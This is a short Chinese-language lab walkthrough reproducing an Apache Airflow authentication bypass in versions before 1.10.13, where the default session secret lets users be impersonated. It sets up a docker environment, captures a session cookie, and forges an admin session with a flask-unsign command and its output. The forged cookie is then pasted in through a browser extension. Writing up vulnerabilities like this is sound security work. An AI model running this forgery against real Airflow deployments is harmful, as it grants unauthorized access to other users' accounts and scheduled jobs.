Apache Airflow 是一个开源的分布式任务调度框架。尽管默认情况下不需要身份验证,但管理部门可以指定 webserver.authenticate=True
来启用它。在 1.10.13 之前的版本中,Apache Airflow 使用默认会话 secert 密钥,这会导致在启用身份验证时模拟任意用户。
复现:docker 搭建环境
#Initialize the database
docker-compose run airflow-init
#Start service
docker-compose up -d
访问网站 http://192.168.92.130:8080查看 Apache Airflow 的登录页面http://192.168.92.130:8080
首先,浏览登录页面并从 Cookie 获取会话字符串:eyJfZnJlc2giOmZhbHNlLCJjc3JmX3Rva2VuIjoiMDZmODZhY2QzY2JhNGQwZDI0ZGM0ODA5MTAzNWY2YzgyMTQ3YmM5YiJ9.ZdW-Kg.TcsL80HkILvoOEgJz9z9xu_44js
然后,使用flask-unsign 破解会话密钥:
我们得到了有效的会话密钥 temporary_key
。然后,使用此键生成一个新会话,其 user_id
等于 1
:
flask-unsign -s --secret temporary_key -c "{'user_id': '1', '_fresh': False, '_permanent': True}"
eyJ1c2VyX2lkIjoiMSIsIl9mcmVzaCI6ZmFsc2UsIl9wZXJtYW5lbnQiOnRydWV9.ZdXEJQ.7_tLRZB4eyTA2AoYf-9mH0MbnHM
使用EditThisCookie 粘贴session值然后刷新一下页面